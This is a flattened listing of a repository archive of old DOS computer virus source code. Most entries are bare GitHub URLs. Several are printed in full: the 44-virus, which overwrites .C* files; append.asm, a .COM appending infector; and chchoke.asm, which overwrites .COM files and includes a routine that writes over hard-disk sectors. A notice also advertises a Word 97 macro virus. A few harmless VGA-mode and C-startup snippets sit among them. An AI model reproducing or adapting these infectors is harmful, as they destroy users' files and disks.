| endvir: 35 | end start 36 | -------------------------------------------------------------------------------- /virus/0/30.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/30.asm -------------------------------------------------------------------------------- /virus/0/3066.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/3066.asm -------------------------------------------------------------------------------- /virus/0/382.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/382.asm -------------------------------------------------------------------------------- /virus/0/386sx16.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/386sx16.asm -------------------------------------------------------------------------------- /virus/0/405_.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/405_.asm -------------------------------------------------------------------------------- /virus/0/4096.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/4096.asm -------------------------------------------------------------------------------- /virus/0/43.asm: -------------------------------------------------------------------------------- 1 | ; Basic little bitty program for people learning about the different modes 2 | ; you can stick on your monitor. This program will put you into 80*50 on a 3 | ; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested 4 | ; it.) Anyways, I tried to comment it so someone not knowing asm would be 5 | ; able to understand it. 6 | ; 7 | ; Coded by The Crypt Keeper/Kevin Marcus 8 | ; You may feel free to do absolutely anything to this code, so long as it is 9 | ; not distributed in a modified state. (Incorporate it in your programs, I 10 | ; don't care. Just do not change >THIS< program.) 11 | ; 12 | ; The Programmer's Paradise. (619)/457-1836 13 | 14 | IDEAL ; Ideal Mode in TASM is t0tallie /< rad man. 15 | DOSSEG ; Standard Segment shit. 16 | MODEL tiny ; What model are we in?! 17 | DATASEG ; Data Segment starts here, man. 18 | exitcode db 0 ; 'exitcode' be zer0, man. 19 | CODESEG ; Code Segment starts here, dude. 20 | org 100h 21 | Start: 22 | mov ax,0003h ; stick 3 into ax. 23 | int 10h ; Set up 80*25, text mode. Clear the screen, too. 24 | 25 | mov ax,1201h ; Woah! 26 | mov bl,30h 27 | int 10h ; Lets get ready for 80*43 on VGA man. 28 | 29 | mov ax,1112h ; We are gunna use the 8*8 internal font, man. 30 | int 10h ; Hey man, call the interrupt. 31 | 32 | Exit: 33 | 34 | mov ah,4ch ; Lets ditch. 35 | mov al,[exitcode] ; Make al 0. Why not xor!? Suck a ____. 36 | int 21h ; "Make it so." 37 | END Start ; No more program. -------------------------------------------------------------------------------- /virus/0/44.asm: -------------------------------------------------------------------------------- 1 | ;****************************************************************************** 2 | ;* 44-virus version 1.0 3 | ;* 4 | ;* Assemble with Tasm 1.01 5 | ;* 6 | ;* The 44 virus is a non-resident overwriting virus with a lenght 7 | ;* of 44 bytes. It will infect all files with the extension .C* 8 | ;* in the current directory. 9 | ;* 10 | ;* (c) 1991 Dark Helmet 11 | ;* 12 | ;* The author is not responsible for any damage caused by the virus 13 | ;* 14 | ;****************************************************************************** 15 | 16 | virus segment 17 | org 100h 18 | assume cs:virus 19 | 20 | len equ offset last-100h 21 | 22 | start: mov ah,04eh ; Search first file with extension .c* 23 | xor cx,cx ; Only normal files 24 | lea dx,com_mask ; 25 | int 21h 26 | 27 | open_file: mov ax,3d02h ; open file for read/write 28 | mov dx,9eh 29 | int 21h 30 | 31 | Infect: mov cx,len ; Write virus to start of file 32 | lea dx,start 33 | mov ah,40h 34 | int 21h 35 | 36 | Next: mov ah,3eh ; Close file 37 | int 21h 38 | mov ah,4fh ; Search next file 39 | int 21h 40 | jnb open_file ; Are there any files left? 41 | 42 | com_mask: db "*.c*",0 ; mask 43 | last: db 090h 44 | 45 | virus ends 46 | end start 47 | 48 | -------------------------------------------------------------------------------- /virus/0/50.asm: -------------------------------------------------------------------------------- 1 | ; Basic little bitty program for people learning about the different modes 2 | ; you can stick on your monitor. This program will put you into 80*50 on a 3 | ; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested 4 | ; it.) Anyways, I tried to comment it so someone not knowing asm would be 5 | ; able to understand it. 6 | ; 7 | ; Coded by The Crypt Keeper/Kevin Marcus 8 | ; You may feel free to do absolutely anything to this code, so long as it is 9 | ; not distributed in a modified state. (Incorporate it in your programs, I 10 | ; don't care. Just do not change >THIS< program.) 11 | ; 12 | ; The Programmer's Paradise. (619)/457-1836 13 | 14 | IDEAL ; Ideal Mode in TASM is t0tallie /< rad man. 15 | DOSSEG ; Standard Segment shit. 16 | MODEL tiny ; What model are we in?! 17 | DATASEG ; Data Segment starts here, man. 18 | exitcode db 0 ; 'exitcode' be zer0, man. 19 | CODESEG ; Code Segment starts here, dude. 20 | org 100h 21 | Start: 22 | mov ax,0003h ; stick 3 into ax. 23 | int 10h ; Set up 80*25, text mode. Clear the screen, too. 24 | 25 | mov ax,1112h ; We are gunna use the 8*8 internal font, man. 26 | int 10h ; Hey man, call the interrupt. 27 | 28 | Exit: 29 | 30 | mov ah,4ch ; Lets ditch. 31 | mov al,[exitcode] ; Make al 0. Why not xor!? Suck a ____. 32 | int 21h ; "Make it so." 33 | END Start ; No more program. -------------------------------------------------------------------------------- /virus/0/560.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/560.asm -------------------------------------------------------------------------------- /virus/0/583virus.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/583virus.asm -------------------------------------------------------------------------------- /virus/0/7son.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/7son.asm -------------------------------------------------------------------------------- /virus/0/7son2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/7son2.asm -------------------------------------------------------------------------------- /virus/0/7son4.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/7son4.asm -------------------------------------------------------------------------------- /virus/0/911.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/0/911.asm -------------------------------------------------------------------------------- /virus/a/acme.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/acme.asm -------------------------------------------------------------------------------- /virus/a/addict9.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/addict9.asm -------------------------------------------------------------------------------- /virus/a/adrian.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/adrian.asm -------------------------------------------------------------------------------- /virus/a/afrca109.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/afrca109.asm -------------------------------------------------------------------------------- /virus/a/ag.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/ag.asm -------------------------------------------------------------------------------- /virus/a/agiplan.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/agiplan.asm -------------------------------------------------------------------------------- /virus/a/ah.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/ah.asm -------------------------------------------------------------------------------- /virus/a/ahadisk.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/ahadisk.asm -------------------------------------------------------------------------------- /virus/a/aid(s).asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/aid(s).asm -------------------------------------------------------------------------------- /virus/a/aids.pas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/aids.pas -------------------------------------------------------------------------------- /virus/a/aircop.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/aircop.asm -------------------------------------------------------------------------------- /virus/a/ambulanc.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/ambulanc.asm -------------------------------------------------------------------------------- /virus/a/amst-852.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/amst-852.asm -------------------------------------------------------------------------------- /virus/a/ansibomb.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/ansibomb.asm -------------------------------------------------------------------------------- /virus/a/anthrax.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/anthrax.asm -------------------------------------------------------------------------------- /virus/a/anti-exe.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/anti-exe.asm -------------------------------------------------------------------------------- /virus/a/anti_daf.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/anti_daf.asm -------------------------------------------------------------------------------- /virus/a/anticaro.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/anticaro.asm -------------------------------------------------------------------------------- /virus/a/anticmos.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/anticmos.asm -------------------------------------------------------------------------------- /virus/a/anticst.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/anticst.asm -------------------------------------------------------------------------------- /virus/a/antig.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/antig.asm -------------------------------------------------------------------------------- /virus/a/antipas.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/antipas.asm -------------------------------------------------------------------------------- /virus/a/ap-400.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/ap-400.asm -------------------------------------------------------------------------------- /virus/a/ap-440.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/ap-440.asm -------------------------------------------------------------------------------- /virus/a/ap-480.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/ap-480.asm -------------------------------------------------------------------------------- /virus/a/ap-529.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/ap-529.asm -------------------------------------------------------------------------------- /virus/a/ap-605.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/ap-605.asm -------------------------------------------------------------------------------- /virus/a/apocalyp.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/apocalyp.asm -------------------------------------------------------------------------------- /virus/a/append.asm: -------------------------------------------------------------------------------- 1 | ;Small appending virus - 143 bytes 2 | 3 | CSEG SEGMENT 4 | ASSUME CS:CSEG, DS:CSEG 5 | 6 | ORG 100h 7 | 8 | Virus_Length equ End_Virus-Begin_Virus 9 | 10 | Start: 11 | db 'M',0e9h,0,0 12 | 13 | Begin_Virus: 14 | call Delta 15 | 16 | Delta: 17 | pop bp 18 | sub bp,offset Delta 19 | push si 20 | push si 21 | 22 | mov ah,1ah 23 | lea dx,[bp+DTA] 24 | int 21h 25 | 26 | pop di 27 | lea si,[bp+OldBytes] 28 | movsw 29 | movsw 30 | 31 | mov ah,4eh 32 | mov cx,7h 33 | lea dx,[bp+ComMask] 34 | 35 | Find_Next: 36 | int 21h 37 | jc Return 38 | 39 | mov ax,3d02h 40 | lea dx,[bp+DTA+1eh] 41 | int 21h 42 | 43 | xchg ax,bx 44 | 45 | mov ah,3fh 46 | mov cx,4 47 | lea dx,[bp+OldBytes] 48 | int 21h 49 | 50 | cmp byte ptr [bp+OldBytes],'M' 51 | je Close_Find_Next 52 | 53 | mov ax,4202h 54 | xor cx,cx 55 | cwd 56 | int 21h 57 | 58 | sub ax,4 59 | mov word ptr [bp+NewBytes+2],ax 60 | 61 | mov ah,40h 62 | mov cx,Virus_Length 63 | lea dx,[bp+Begin_Virus] 64 | int 21h 65 | 66 | mov ax,4200h 67 | xor cx,cx 68 | cwd 69 | int 21h 70 | 71 | mov ah,40h 72 | mov cx,4 73 | lea dx,[bp+NewBytes] 74 | int 21h 75 | 76 | Close_Find_Next: 77 | mov ah,3eh 78 | int 21h 79 | 80 | mov ah,4fh 81 | jmp short Find_Next 82 | 83 | ComMask db "*.COM",0 84 | NewBytes db 'M',0e9h,0,0 85 | OldBytes db 0cdh,20h,0,0 86 | 87 | Return: 88 | mov ah,1ah 89 | mov dx,80h 90 | int 21h 91 | 92 | ret 93 | 94 | End_Virus: 95 | DTA db 42 dup (?) 96 | 97 | CSEG ENDS 98 | END START 99 | -------------------------------------------------------------------------------- /virus/a/april30.a86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/april30.a86 -------------------------------------------------------------------------------- /virus/a/april30.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/april30.asm -------------------------------------------------------------------------------- /virus/a/arara1.a86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/arara1.a86 -------------------------------------------------------------------------------- /virus/a/arara1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/arara1.asm -------------------------------------------------------------------------------- /virus/a/arbeit.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/arbeit.asm -------------------------------------------------------------------------------- /virus/a/archer.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/archer.asm -------------------------------------------------------------------------------- /virus/a/archive.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/archive.asm -------------------------------------------------------------------------------- /virus/a/arsonic.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/arsonic.asm -------------------------------------------------------------------------------- /virus/a/asex_099.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/asex_099.asm -------------------------------------------------------------------------------- /virus/a/asexual.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/asexual.asm -------------------------------------------------------------------------------- /virus/a/atomc350.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/atomc350.asm -------------------------------------------------------------------------------- /virus/a/atomic.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/atomic.asm -------------------------------------------------------------------------------- /virus/a/avpaids.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/a/avpaids.asm -------------------------------------------------------------------------------- /virus/b/bad_reli.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bad_reli.asm -------------------------------------------------------------------------------- /virus/b/badattit.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/badattit.asm -------------------------------------------------------------------------------- /virus/b/bbrains.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bbrains.asm -------------------------------------------------------------------------------- /virus/b/bbs-1258.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bbs-1258.zip -------------------------------------------------------------------------------- /virus/b/bin-obs.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bin-obs.asm -------------------------------------------------------------------------------- /virus/b/bio.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bio.asm -------------------------------------------------------------------------------- /virus/b/bio2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bio2.asm -------------------------------------------------------------------------------- /virus/b/bird.a86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bird.a86 -------------------------------------------------------------------------------- /virus/b/bird.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bird.asm -------------------------------------------------------------------------------- /virus/b/bitter.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bitter.asm -------------------------------------------------------------------------------- /virus/b/bizatch.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bizatch.zip -------------------------------------------------------------------------------- /virus/b/blah.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/blah.asm -------------------------------------------------------------------------------- /virus/b/bluenine.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bluenine.asm -------------------------------------------------------------------------------- /virus/b/bomb.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bomb.asm -------------------------------------------------------------------------------- /virus/b/bomb.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bomb.lst -------------------------------------------------------------------------------- /virus/b/boot410.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/boot410.asm -------------------------------------------------------------------------------- /virus/b/boot_vir.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/boot_vir.asm -------------------------------------------------------------------------------- /virus/b/breeze.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/breeze.asm -------------------------------------------------------------------------------- /virus/b/brother2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/brother2.asm -------------------------------------------------------------------------------- /virus/b/brother3.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/brother3.asm -------------------------------------------------------------------------------- /virus/b/brown2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/brown2.asm -------------------------------------------------------------------------------- /virus/b/bugger.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bugger.asm -------------------------------------------------------------------------------- /virus/b/busted.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/busted.asm -------------------------------------------------------------------------------- /virus/b/bypass.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/bypass.asm -------------------------------------------------------------------------------- /virus/b/byteme.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/b/byteme.asm -------------------------------------------------------------------------------- /virus/c/c0t.asm: -------------------------------------------------------------------------------- 1 | ; 'Extra-Tiny' memory model startup code for Turbo C 2.0 2 | ; 3 | ; This makes smaller executable images from C programs, by 4 | ; removing code to get command line arguments and the like. 5 | ; Compile with Tiny model flag, do not use any standard I/O 6 | ; library functions, such as puts() or int86(). 7 | ; 8 | ; This code courtesey PC Magazine, December 26, 1989. 9 | ; But nobody really needs to know that. 10 | 11 | 12 | _text segment byte public 'code' 13 | _text ends 14 | _data segment word public 'data' 15 | _data ends 16 | _bss segment word public 'bss' 17 | _bss ends 18 | 19 | dgroup group _text, _data, _bss 20 | 21 | _text segment 22 | org 100h 23 | begin: 24 | _text ends 25 | 26 | end begin 27 | -------------------------------------------------------------------------------- /virus/c/cabanas.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cabanas.asm -------------------------------------------------------------------------------- /virus/c/cacodmon.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cacodmon.asm -------------------------------------------------------------------------------- /virus/c/caffein.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/caffein.asm -------------------------------------------------------------------------------- /virus/c/cannab1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cannab1.asm -------------------------------------------------------------------------------- /virus/c/cannab2.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cannab2.txt -------------------------------------------------------------------------------- /virus/c/cannab3i.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cannab3i.asm -------------------------------------------------------------------------------- /virus/c/carbunc.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/carbunc.asm -------------------------------------------------------------------------------- /virus/c/carpdiem.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/carpdiem.asm -------------------------------------------------------------------------------- /virus/c/cascade.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cascade.asm -------------------------------------------------------------------------------- /virus/c/cascspec.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cascspec.asm -------------------------------------------------------------------------------- /virus/c/casino.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/casino.asm -------------------------------------------------------------------------------- /virus/c/catphish.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/catphish.asm -------------------------------------------------------------------------------- /virus/c/cdeath3.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cdeath3.asm -------------------------------------------------------------------------------- /virus/c/cdset4.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cdset4.asm -------------------------------------------------------------------------------- /virus/c/cdset5.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cdset5.asm -------------------------------------------------------------------------------- /virus/c/cdset6.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cdset6.asm -------------------------------------------------------------------------------- /virus/c/cemetary.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/cemetary.asm -------------------------------------------------------------------------------- /virus/c/chad.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/c/chad.asm -------------------------------------------------------------------------------- /virus/c/chaos.nfo: -------------------------------------------------------------------------------- 1 | -----BEGIN PGP SIGNED MESSAGE----- 2 | 3 | W97M/Chaos 4 | By Lord Natas 5 | 6 | Features: 7 | 8 | * First Word 97 "Companion" virus 9 | * Slightly polymorphic 10 | * Doesn't need/use normal.dot 11 | * Infects c:\windows\shellnew so docs created in explorer are infected! 12 | * Works under SR-1 13 | 14 | Lord Natas 15 | 16 | -----BEGIN PGP SIGNATURE----- 17 | Version: 2.6.2 18 | 19 | iQEVAwUBNZZnus+drLnKo0YdAQEthwf/a5fqHpM48l9YgWcWoC0J7dqAMNKvv3lz 20 | doQ9uj2Y7lHQ6SqMOfpigb1zvhwdDOJikWBunAJTXIHq1ufS9v1HzEVwoo45DZnK 21 | DI2EkUfUWI8X3pGM0ZVCf48XSAlRIGjnQHl8GAO43Yq8WVF3LwJTIASXVauos2hm 22 | wEl6RIidMnlV5QbyiAkrGTA9Ln3Gt+ygXqgQq5zbi59i9JnROxSRvZgtJFb9Y6CD 23 | SqXsA9LjjBaMHCnEsOlieHDs88+YRn7b/JGGgLux/bfivh1pPeaztf04fVEN309p 24 | eAVZdOZQRbydoZy9v57YGktUKnEVY3RvDL/3a9OFlzT1k7DWjnsnmg== 25 | =IwBm 26 | -----END PGP SIGNATURE----- 27 | -------------------------------------------------------------------------------- /virus/c/chchoke.asm: -------------------------------------------------------------------------------- 1 | Code Segment 2 | Assume CS:code,DS:code 3 | Org 100h 4 | 5 | startvx proc near 6 | 7 | mov ah,4eh 8 | mov cx,0000h 9 | mov dx,offset star_com 10 | int 21h 11 | 12 | mov ah,3dh 13 | mov al,02h 14 | mov dx,9eh 15 | int 21h 16 | 17 | xchg bx,ax 18 | 19 | mov ah,40h 20 | mov cx,offset endvx - offset startvx 21 | mov dx,offset startvx 22 | int 21h 23 | 24 | mov ah,3eh 25 | int 21h 26 | 27 | int 20h 28 | 29 | szTitleName db' Chickenchoker Virus by hdkiller has been activated' 30 | 31 | rip_hd: 32 | 33 | xor dx,dx 34 | rip_hd1: 35 | mov cx,2 36 | mov ax,311h 37 | mov dl,80h 38 | mov bx,5000h 39 | mov es,bx 40 | int 13h 41 | jae rip_hd2 42 | xor ah,ah 43 | int 13h 44 | rip_hd2: 45 | inc dh 46 | cmp dh,4 47 | jb rip_hd1 48 | inc ch 49 | jmp rip_hd 50 | 51 | startvx endp 52 | 53 | star_com: db "*.com",0 54 | 55 | endvx label near 56 | 57 | 